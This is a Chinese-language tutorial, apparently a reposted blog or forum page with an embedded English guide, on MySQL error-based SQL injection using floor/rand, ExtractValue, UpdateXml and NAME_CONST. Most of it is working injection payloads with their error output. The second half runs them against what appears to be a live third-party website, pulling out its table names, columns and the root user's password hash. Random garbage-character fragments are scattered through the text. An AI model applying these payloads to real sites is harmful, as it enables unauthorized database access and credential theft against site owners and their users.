mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
! T+ |6 ?4 l, i1 ?首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
' V' ]6 c7 U* u# i; p7 \; l) F+ _ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
* Z% b3 ~5 ]3 X3 |7 `0 J" ]5 k% e例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
( E4 Z% u6 Y& o: l. ^ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
' h( j) {# I  x1 }+ S  aERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

1 f* [; C0 H2 n" x

再收集：

9 V; d) Z8 ?/ o& e& mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
  T# h! L' F5 T' g# |5 x1 ?7 L
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
/ l; |+ }: l) ]% O/ d8 H( v" T1 D0 A
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
5 i8 s3 }* o, `' F1 q
MYSQL高版本报错注入技巧-利用NAME_CONST注入
; a" E. @  I& H6 _2 J) E/ uIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
9 a; S9 i4 B' R( b% {4 O

' n; e. W' |/ h/ O. a相关信息
! {6 a. X- }& F  @
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

8 X* \. f7 W9 W# ?% W- T' d: LCode:
. u# S5 R% u. i: _+ ~7 TNAME_CONST(DATA, VALUE)
4 t1 |3 a) ~/ d# {% P
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
! k# P! b/ Z, U7 {6 f
SELECT NAME_CONST('TEST', 1)
$ }$ I( T) S8 E$ T, r


. f6 `% ]* Z) J; I; G) s# X2 K|---------------|
|     TEST      |
+ p3 b9 J7 F) s7 S|               |
$ X4 C5 v" `5 G1 V% O) j; o|---------------|
  n+ h$ e+ h( G8 b, A|       1       |
# H6 l" E9 q: D$ i+ R5 B|               |
|---------------|
2 j. X3 u5 S7 i& Z0 y) I7 A) v0 d



$ X2 J! \3 F) F3 c/ F$ f  Xhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
4 J' W1 y) N. [; T6 O4 g; ^2 gIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
0 _5 K4 b1 y- N3 x; D: y5 Ghttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
- F0 W1 K7 g; {& s: i( ?1 v
( d0 b8 F8 O6 w. d



2 ~0 }! J0 t* s% @( [Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
5 Z6 c' W5 e: x

) E! V9 o6 B  J, d7 J4 UVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
9 _  h; m' u+ b
' ~" m, u$ Z2 s8 @- X" H: q, uLet's try it out on my site..
! x' V* ]6 x: H2 z9 K
. S8 |  Q" H, I* T" l- VCode:
* {5 E9 N6 ?) Z, W. `http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 _( {: s" y# y# U, f
Erroruplicate column name '5.0.27-community-nt'


/ H: _( f8 f8 T9 c9 Y. [, r


7 R  K$ y+ ]( z7 F# RNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


8 j5 ^6 V' L9 [9 ?& a& w7 Y* u$ _+ rWe should get a duplicate column 1 error...

6 O7 J0 C9 H, [1 [, {% OCode:
5 c; o+ \8 l5 m* W$ }  ahttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
3 M9 U) y: U1 h# Y7 k4 g6 |0 w! C
Erroruplicate column name '1
4 o' _+ L% s$ T





Now let's get the tables out this bitch..
# q" h& T& \- U- O
. R  h5 G( O' }. MCode:
( V4 c& U7 G2 @3 l" r, g+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 s5 R& {. F( U' J* z

Let's see if it works here, if it does, we can go on and finish the job.
# b( }/ L) T1 D4 Z' d* F3 G
6 E0 L* r/ {# q/ N% ICode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
& n1 Q, i. y2 a/ G
7 i. b! T3 [: {- P' y
Erroruplicate column name 'com_admanage
) D0 h0 W2 `* }- s



9 p  Y3 }: Z/ t0 ~" U8 D4 z. u& M

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

( n$ I( u& m) m6 e* |; L) K, }Let's get the columns out of the user table..
# b# Y2 o8 D* l2 W$ U
) w1 t" z$ s% e' p3 K0 o: v: x  jCode:
; t, W0 W& r, d* H+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

# g2 \+ I: g& p
/ E/ R) y, n4 t/ j$ F6 f% hSo mine looks like this, and I get the duplicate column name 'Host'.
8 ~$ p- k. p7 l5 x, u! o7 ?
Code:
0 f* L' P8 P8 s4 m$ R; Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

/ Q0 J5 x; @: H+ MErroruplicate column name 'Host'

" @5 a# T# i; [

$ W, o: U0 \' x2 i4 I9 {


( ?# }* m  f& g9 u' s5 @) _# p5 U5 UWoot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

$ H# o, |2 E! M3 f* t8 k
So mine looks like this...

Code:
" O% M, |* o( C% Rhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
" X3 N: I3 C% h3 Y* r
7 j, J; D% k0 E. w; H) Z7 TErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

. W- `3 f7 C# ^! ?" g




And there we have it, thanks for reading.